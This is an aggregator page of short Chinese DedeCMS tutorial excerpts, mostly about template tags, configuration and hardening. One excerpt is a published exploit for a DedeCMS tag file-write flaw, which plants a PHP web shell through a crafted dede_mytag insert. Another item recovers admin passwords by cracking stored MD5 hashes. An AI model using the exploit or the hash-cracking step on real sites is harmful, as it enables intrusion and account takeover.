DEDECMS - 技术教程文章

织梦DedeCMS调用二级子栏目或者多级栏目的方法【图】

图2当前栏目typeid值为3,所以代码如下:{dede:channelartlist typeid=‘3,3‘} <a href="{dede:field name=‘typeurl‘/}">{dede:field name=‘typename‘/}</a> <hr><!-- 这里我们加一个横线,已区分顶级栏目、子栏目,此处为注释文字,可以删除--> {dede:channel type=‘son‘ noself=‘yes‘} <a href="[field:typelink/]">[field:typename/]</a><br /> {/dede:channel} {/dede:channelartlist}效果图:图3我们...

dede去除powered by dedecms【代码】【图】

include/dedesql.classs.php文件中找到第588行: $arrs1 = array(0x63,0x66,0x67,0x5f,0x70,0x6f,0x77,0x65,0x72,0x62,0x79); $arrs2 = array(0x20,0x3c,0x61,0x20,0x68,0x72,0x65,0x66,0x3d,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f, 0x77,0x77,0x77,0x2e,0x64,0x65,0x64,0x65,0x63,0x6d,0x73,0x2e,0x63,0x6f,0x6d,0x20,0x74,0x61,0x72, 0x67,0x65,0x74,0x3d,0x27,0x5f,0x62,0x6c,0x61,0x6e,0x6b,0x27,0x3e,0x50,0x6f,0x77,0x65,0x72,...

dedecms中调用文章,标题超过限制字数时,在标题后面加上省略号...【代码】

在dedecms中调用文章,当标题超过限制字数时,怎么在标题后面加上……呢。其实不论是在首页还是列表页还是内容页调用文章,不管是arclist还是list标签调用文章,只需要把[field:title]这个标签适当修改。一般是类似于这样:{dede:arclist row=‘10‘} <li><a href="[field:arcurl /]" title="[field:fulltitle/]">[field:title/]</a></li> {/dede:arclist}如果需要限制字数,可以增加titlelen=’80′,代码为:{dede:arclist row=‘...

dedecms5.7二级域名文章图片不显示修改方法.相对路径改为绝对路径的方法

dedecms5.7(织梦CMS5.7)二级域名文章图片不显示修改方法.相对路径改为绝对路径的方法   dedecms升级到5.7SP1后,开启二级域名,你会发现,在二级域名下的文章,上传的图片地址都是:二级域名+图片地址,这是相对路径。但是你的图片是默认上传在uploads里面的。应该使用绝对路径。这就出现图片路径错误,导致图片不显示。那怎么修改这种情况呢?我在网上看了好多方法,但是大部分最终是不可用的。在这里,将两种有效的方法分享给大...

dedecms调用子栏目内容,缩略图,以及栏目名字【图】

织梦后台栏目页默认是没有添加缩略图的选项的,所以首先我们要调整后台提交表单使界面出现上传图片的地方,如下图所示: 织梦后台默认是没有栏目缩略图选项的,所以首先你需要从网上下载对应需要修改的文件,从这个链接http://pan.baidu.com/s/1mgC2YQ8中下载替换的文件,找到对应的文件夹进行替换。第二步,图片字段为:arcpic 调用图片路径为:[field:arcpic] 在数据库中创建arcpic,sql语句ALTER TABLE `dede_arctype` ADD `ar...

dedecms ---m站功能基础详解

织梦2015年6月8日更新后,就添加了很多针对手机移动端的设计,最大的设计就是添加了生成二维码的织梦标签和织梦手机模板功能,织梦更新后,默认的 default模板中就包含手机模板,所以我们可以给织梦网站设计双模板,电脑网站pc模板和手机wap模板,很方便。我们在制作模板时通常都会参考织梦默认模板default中的标签使用,所以,接下来我们就来分析一下织梦默认模板default中使用手机模板的制作方法(注意本教程适合有织梦模板开发经...

dedecms获取当前文章所在栏目URL【代码】

我们知道dedecms有一个面包屑导航的调用函数,{dede:field name=‘position‘/},这个样式是固定的,有时要个性化一些的话需要修改很多地方,那么织梦cms有没其他方法获取当前文章所在栏目URL呢?有的!<a href=‘{dede:type typeid=‘0‘ row=1}[field:typelink /]{/dede:type}‘ style="color:blue;">{dede:field.typename/}</a> 这样的话就可以自定义首页链接的锚文本了,默认都是“首页”,我们都知道锚文本对内部链接/外部链接...

给DEDECMS广告管理中增加图片上传功能【图】

dedecms的广告管理功能稍微有点次,本文就是在dedecms广告管理原有的基础上增加广告图片上传功能。安装方法,对应自己的dedecms版本下载对应的编码然后解压把里面的文件放在后台目录覆盖即可。效果图: 原文:https://www.cnblogs.com/liu-zhijun/p/11404535.html

DEDECMS中,自增长标签【图】

自增长arclist 标签下使用 [field:global.autoindex/] 默认从1开始channel 标签下使用 [field:global.autoindex/] 默认从0开始channelartlist 标签下使用 {dede:global.itemindex/} 默认从1开始 原文:http://www.cnblogs.com/D-Chen/p/5726477.html

如何使用mysql(lamp)分离环境搭建dedecms织梦网站及apache服务器常见的403http状态码及其解决方法【图】

一、实验环境 centos6.5+mysql5.5.32+php5.3.27 软件:DedeCMS-V5.7-GBK-SP1本实验是使用lamp环境搭建,但mysql数据库与之分离,本实验成功的关键在于防火墙及其selinux关闭的前提下实现。 二、实验步骤 1)下载产品,并解压至www目录内wget -O /home/chen/tools/ http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-GBK-SP1.tar.gztar xf DedeCMS-V5.7-GBK-SP1.tar.gz mv DedeCMS-V5.7-GBK-SP1/uploads/* /var/htm...

dedecms织梦后台password忘记了怎么办?dedecms织梦后台password忘记怎样找回password?【图】

方法一:自己用解密的方式用phpmyadmin登陆后台数据库,查看找到password:去除前三位和后一位,然后拷贝到http://www.cmd5.com/在线解密工具里面解密方法二、自己设定已经知道的password进入站点mysql数据库,在数据库管理(phpmyadmin)里面找到,dede_admin这一表单,例如以下图点击pwd这一项,然后输入c3949ba59abbe56e057f,再点击运行,这样一来,站点后台的登录password就变成了123456。然后登录站点后台,自行改动站点password。 由武...

dedecms二级栏目分类 使用channelartlist标签实现当前栏目高亮【代码】

在dedecms二级栏目分类,使用channelartlist标签实现当前栏目高亮,估计你没试过!不过开发的时候需要了,也就记下来分享给大家!使用channel也可以,但是我们需要dede二级栏目下拉的时候就要用到这个了,呵呵,使用还是非常简单的修改一个channelartlist类就可以了下面介绍如何使用channelartlist标签实现当前栏目高亮1.首先找到“include\taglib\channelartlist.lib.php”文件,打开2.搜索代码 " $pv = new PartView($typeids[$i][‘i...

dedecms内容管理【图】

dedecms中的内容模型是指文章、软件、商品等类型的文章字段模板。在dedecms中,文章数据由文章主表和文章附加表构成,主表存放文章公共拥有的信息,比如标题,添加时间,点击量等,文章附加表存放文章的内容信息,比如普通文章,商品信息,软件信息等。 1.在创建一个新栏目前首先在 核心→频道模型→内容管理模型下创建一个栏目的内容管理模型2.名字标示里输入的是栏目标示(必须是字母和数字)3.在附加表选项中可以修改为栏目标示...

Dedecms V3.1 生成HTML速度的优化办法

由于版本兼容性等各方面的原因,实际上dedecms的索引有点混乱,如果索引设置得适合,影响dedecmsHTML生成速度的,主要是获得没有按默认按排序的文章列表的时候,由于要重新排序,数据量大时速度会很不理想,可以通过下面几个步骤轻松优化: 1、进入 phpmyadmin ,把 dedecms 站点 dede_archives 除了 ID 主键的索引外的索引删除; 2、用SQL创建如下索引: Alter TABLE `#@__archives` ADD INDEX `click` (`click`); Alter TABLE `...

dedecms织梦 标签远程文件写入漏洞

测试方法:@Sebug.net dis本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,‘‘{dede:php}$fp =@fopen("1.php", \‘‘a\‘‘);@fwrite($fp, \‘‘\‘‘);echo "OK";@fclose($fp);{/dede:php}‘‘); 再用下面表单提交,shell 就在同目录下1.php。原理自己研究。。。 <form action="" method="post" name=...

dedecms---标签及内容模型和联动菜单

一、DeDeCMS基础知识简介1.基本标签一、织梦模板标签的书写格式及注意事项: 1.书写格式: ①{dede:标签名 参数=‘‘} 底层模板{/dede:标签名} ②{dede:标签名 参数=‘值‘/} 2.注意事项 ①标签书写必须使用半角状态; ②如1-①的标签必须有于标签名开始的闭合标签且存在于底层模板的表现; ③如1-②没有底层模板表现,也不存在闭合标签;他的样式被写入到了相应的标签源码中。二、底层模板的概念及调用方...

(转)DEDECMS 如何让栏目外部链接在新窗口中打开

近遇到一个问题,就是dedecms的导航,是用外部链接的,但是原窗口打开不好看,新窗口打开好点。OK,放狗...1. 查找模板中的head.htm将<li><a href=‘[field:typeurl/]‘>[field:typename/]</a></li>替换成下面的<li><a href=‘[field:typeurl/]‘ target="_blank">[field:typename/]</a></li>但这个方法有个缺陷,就是会将所有的栏目都在新窗口打开,使用时会显得很凌乱。那如何让指定的栏目在新窗口打开呢,请看第二个方法。2. 查找...

dedecms likearticle 调用附加表的字段调用方式【代码】

[field:id runphp=‘yes‘] $aid = @me; $row = $GLOBALS[‘dsql‘]->GetOne("Select 字段名 From `dede_addon21` where aid=‘$aid‘ ");@me = cn_substr(strip_tags("{$row[‘字段名‘]}"),600);[/field:id]dede_addon21表示自定义字段添加表的名称多个自定义字段调用方式Select 字段名1,字段名2,字段名3 From英文逗号分隔开,调用使用 $row[‘字段名1‘],$row[‘字段名2‘], $row[‘字段名3‘]原文:http://www.cnblogs.com/jueb...

dedecms随机生成一个新的用户号码---ajax和js随机数

ajax返回所有的用户号码涉及到dede的二次开发的数据类操作 参考地址:织梦DedeCMS的二次开发之数据库类操作https://www.cnblogs.com/TT-1314/p/8256820.htmlajax返回一个包含所有的用户号码的数组js随机生成一个数字,判断,是否在数组中,如果不在,那就保留。 如果在的话,就返回再次生成一个数字。使用dede的验证码参考地址找到了https://www.cnblogs.com/li-sir/p/7736650.html原文:https://www.cnblogs.com/cn-oldboy/p/1299...

织梦DedeCMS实用技巧-八大安全措施

织梦系统爆出很多新漏洞,导致许多dedecms网站被挂木马,从被挂到有效防止,下面就来谈一谈具体的方法:  一、精简设置篇:   不需要的功能统统删除。比如不需要会员就将member文件夹删除。删除多余组件是避免被hack注射的最佳办法。将每个目录添加空的index.html,防止目录被访问。   织梦可删除目录列表:member会员功能 special专题功能 install安装程序(必删) company企业模块 plus\guestbook留言板 以及其他模块一般用不...

DEDECMS中,arclist标签【图】

文档列表 dede:arclist标签: {dede:arclist flag=‘h‘ typeid=‘‘ row=‘‘ col=‘‘ titlelen=‘‘ infolen=‘‘ imgwidth=‘‘ imgheight=‘‘ listtype=‘‘ orderby=‘‘ keyword=‘‘ limit=‘0,1‘}    <a href=‘[field:arcurl/]‘>[field:title/]</a>  {/dede:arclist}row=‘10‘ 返回文档列表总数typeid=‘‘ 栏目ID,在列表模板和档案模板中一般不需要指定,在首页模板中允许用","分开表示多个栏目;geta...

DEDEcms的数据库类,以及前端的时间字段,随机密码,随机账号【代码】

先说前端的时间字段,随机密码和随机账号<script> //这里用最简单的生成8位随机数,并且,让第一位不为0function sjuid(){var uid=parseInt(Math.random()*89999999+10000000);$(‘#uid‘).val(uid);$(‘.sjuid‘).html(uid);} // 这里生成随机密码function sjpsw(){// 随机密码var str = ‘mnbvcxzasdfghj0123klpoiuytrewq678MNBVCXZLKJH45GFDSAPOIUYT9REWQ‘;//字符串 var len = str.length;//查询字符串长度 var num=8; ...

织梦DedeCMS模板防盗的四种方法

织梦(DedeCMS)模板也是一种财富,不想自己辛辛苦苦做的模板被盗用,在互联网上出现一些和自己一模一样的网站,就需要做好模板防盗。本文是No牛收集整理自网络,不过网上的版本都没有提供 Nginx 301重定向实现dedecms模板防盗的方法和403文件禁止实现织梦模板防盗,自己狗尾续貂,整合到一起了,方便自己以后查询。以下就是织梦模板防盗的四个方法,希望可以帮到大家。1.系统文件修补法系统文件修补法这种方法呢,显得比较麻烦一点。...

dedecms目录结构大全,非常完整

紧接dedecms分享,目录文件单另一个文件。一个程序的目录结构的了解很重要,对一个系统的初次认识很关键:dedecms目录结构:/a:栏目静态页默认生成目录。为利于SEO优化,可以将文件指定到根目录。/data:数据存放目录。Backupdata为数据库备份目录,网站迁移时需拷入。/dede:默认的站点后台管理目录。为网站安全,建议更改名称/image:系统图片存放目录。/include:核心类库文件存放目录。系统目录,一般都是全局函数、类处理文件...

dedecms cookies泄漏导致SQL漏洞 article_add.php 的解决方法【图】

漏洞名称:dedecms cookies泄漏导致SQL漏洞补丁文件:/member/article_add.php补丁来源:云盾自研漏洞描述:dedecms的文章发表表单中泄漏了用于防御CSRF的核心cookie,同时在其他核心支付系统也使用了同样的cookie进行验证,黑客可利用泄漏的cookie通过后台验证,进行后台注入。解决方法搜索代码:if (empty($dede_fieldshash) || $dede_fieldshash != md5($dede_addonfields.$cfg_cookie_encode))如图:修改代码为:if (empty($de...

dedecms添加新模型【图】

dedecms虽然预设了一些常见网页的功能模型,但是如果需要新的功能则需要自己创建,dedecms也提供了创建新模型的功能,如下:1、打开后台首页=》核心=》内容模型管理2、添加新模型=》填写模型名称=>确定新模型电影生成成功3、对新模型添加新字段(添加字段功能在上篇内容) 原文:https://www.cnblogs.com/chengzhongde/p/8312734.html

jquery,smarty,dedecms的插件思路------dede未实践

1.jquery定义一个新函数,这个函数可以使用jquey的所有功能2.smarty,dede其实也和jquery一样,不过是可以使用系统的一些方法而已3.可能还有一些规范,如smarty插件的命名规范.原文:http://www.cnblogs.com/zuoxiaobing/p/3589440.html

用可道云kodexplorer在dedecms系统网站上秒建私人网盘【图】

国内草根站长用的最多的一款建站源程序就是dedecms,通常是通过FTP或者服务器面板自带的文件管理器来上传下载的。FTP可视性、体验都相对差一点,且需要事先安装FTP软件,更换环境后的站点管理上有很多不便;另一方面,涉及一些站点代码修改,在线编程需求时,需要下载到本地修改后,之后再上传覆盖,也会比较麻烦。今天介绍一个可以跟dedecms系统搭配使用的文件管理器——KODExplorer可道云在线资源管理器。借助可道云可以在几分钟...

dedecms采集中可以过滤多行代码的正则表达式

过去用dede采集,总是过滤不掉一行以上的代码,只能一行行的过滤,在网上,发现有很多和我一样的菜鸟。随着不断的使用dede采集,对正则有了更进一步的了解,现在偶用一句正则表达式,同样可以匹配多行代码了。 如:在如下代码中,过滤掉有二行代码的超级链接。 <td align="center"> <a href="http://www.XXX.com/111111.htm">XXX XXX</a> </td> 用下面的过滤,即可实现多行匹配 {dede:trim} <a href="http://www.XXX.com/111111.ht...

织梦 dedecms 中LOOP 万能标签循环 调用 arcurl标签(获取链接)

在DEDECMSV5.3中,提供了loop万能循环标签,但是此循环标签只能循环出该表中的字段,而“[field:arcurl/]”链接标签并不能被解析出来,而DEDECMS官方论坛上也没有找到相关的解决办法,所以只有自己动手写代码了!这是官方提供的代码:{dede:loop table=‘dede_archives‘ sort=‘‘ row=‘4‘ if=‘‘}<a href=‘[field:arcurl/]‘>[field:title/]</a>{/dede:loop}以下是我的解决方案:1.打开Include/common.func.php,找到54行,再...